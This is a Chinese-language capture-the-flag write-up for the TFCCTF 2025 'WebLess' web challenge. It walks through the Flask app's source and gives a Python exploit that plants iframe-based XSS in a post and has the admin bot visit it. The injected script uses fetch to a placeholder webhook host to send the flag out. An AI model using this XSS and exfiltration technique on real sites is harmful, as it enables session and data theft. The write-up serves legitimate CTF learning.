TFCCTF 2025 WebLess题解

一、题目描述

用户注册登录后,可以创建 Post ,创建好之后可以浏览,也可以通过点击 Report to Admin 触发机器人访问该Post

flag被管理员写在了Post中,只有管理员或者机器人可通过 /post/0 访问

python 复制代码
ADMIN_USERNAME = secrets.token_hex(32)
ADMIN_PASSWORD = secrets.token_hex(32)

users = {ADMIN_USERNAME: ADMIN_PASSWORD}
posts = [{
    "id": 0,
    "author": ADMIN_USERNAME,
    "title": "FLAG",
    "description": FLAG,
    "hidden": True
}]

目标是让机器人访问存放flag的页面: post/0 ,然后再想办法获取flag

二、题目分析

用户登录之后,可以创建Post

python 复制代码
@app.route("/create_post", methods=["POST"])
@login_required
def create_post():
    title = request.form["title"]
    description = request.form["description"]   # 获取用户输入的 description
    hidden = request.form.get("hidden") == "on"  # Checkbox in form for hidden posts
    post_id = len(posts)
    posts.append({   // 将用户的该post条目加入posts
        "id": post_id,
        "author": session["username"],   # author是session[username]
        "title": title,
        "description": description,
        "hidden": hidden
    })
    return redirect(url_for("index"))

用户可以访问自己创建的笔记

python 复制代码
@app.route("/post/<int:post_id>")
@login_required
def post_page(post_id):
    # 判断访问的id是否存在
    post = next((p for p in posts if p["id"] == post_id), None)
    if not post:
        return "Post not found", 404
    # 判断用户是否设置可见 且 判断用户是否为作者
    if post.get("hidden") and post["author"] != session["username"]:
        return "Unauthorized", 403
    # 若id存在 且 用户为作者,将post(包含用户输入title和description)传入render_template函数
    resp = make_response(render_template("post.html", post=post))
    resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"
    return resp

用户访问 /report 页面时会触发机器人访问

python 复制代码
@app.route('/report', methods=['POST'])
def report():
    url = request.form.get('url')   # 获取data部分的url
    if not url:
        return 'Missing url', 400
    # 创建线程执行 run_admin_bot 函数
    Thread(target=_run_admin_bot, args=(url,), daemon=True).start()
    return 'Report queued', 202

def _run_admin_bot(target_url: str):
    try:
        # 将 url 作为参数传递给bot
        bot.run_report(target_url, ADMIN_USERNAME, ADMIN_PASSWORD)
        print("[BOT] Done")
    except Exception as e:
        print(f"[BOT] Error: {e}")

bot report操作实际是以管理员身份登录和访问待 reporturl

py 复制代码
def run_report(url, username, password):
    try:
        driver = webdriver.Chrome(service=service, options=options)
        # 1.以管理员身份登录
        driver.get(f"http://127.0.0.1:5000/login?username={username}&password={password}")
        # Wait until page is loaded (document.readyState == "complete")
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return document.readyState") == "complete"
        )

        # 2.访问 report page url
        driver.get(url)
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return window.reportReady === true")
        )
        print("Report page fully loaded")

结合 flag 存放在管理员的 post/0 中,突破点在触发机器人执行report,以管理员的身份登录之后去访问某个url,若该url包含恶意链接,使得机器人在访问时将其cookie或者之前访问 post/0 的内容带出来,即可获得flag

exp如下:

注:credentialless 的核心作用是:让 iframe 请求不带 cookie,适用于跨域信息泄露场景

python 复制代码
import requests

s = requests.Session()
URL = "https://webless-156e7e4ba10d8dc9.challs.tfcctf.com"

solution = """
<iframe src="/post/0"></iframe>
<iframe credentialless src="/login?username=<script>fetch(`https://WEBHOOOK/${btoa(top.window.frames[0].document.body.innerText.substr(20))}`)</script>&password=a"></iframe>
"""

s.post(URL+"/register", data={"username": "test", "password": "test"})
s.post(URL+"/create_post", data={"title": "LEAK", "description": solution, "hidden": "off"})
s.post(URL+"/report", data={"url": "http://127.0.0.1:5000/post/1"})

print("Check the webhook")

poyload的解释如下:

用户创建的post中包含solution,

当bot通过"http://127.0.0.1:5000/post/1" 访问时,返回的页面中包含solution;bot首先会访问 src="post/0" ,然后会访问 src="/login?username=<script>fetch(......)${btoa(top.window.frames[0].document.body.innerText.substr(20))}

在访问后者时会获取前一帧显示的内容的前20个字符,将通过base64编码后发送到https://WEBHOOOK,即将flag的值发送出来了

相关推荐
徐子元竟然被占了!!4 小时前
Linux-systemctl
linux·数据库·oracle
天天扭码5 小时前
如何实现流式输出?一篇文章手把手教你!
前端·aigc·ai编程
前端 贾公子6 小时前
vue移动端适配方案 === postcss-px-to-viewport
前端·javascript·html
YJlio6 小时前
Active Directory 工具学习笔记(10.8):AdInsight——保存与导出(证据留存、共享与二次分析)
数据库·笔记·学习
suoyue_zhan6 小时前
GBase的管理监控平台GEM实践指南
数据库
GISer_Jing7 小时前
AI营销增长:4大核心能力+前端落地指南
前端·javascript·人工智能
哈哈老师啊7 小时前
Springboot学生综合测评系统hxtne(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
java·数据库·spring boot
小小8程序员7 小时前
Redis-10
数据库·redis·缓存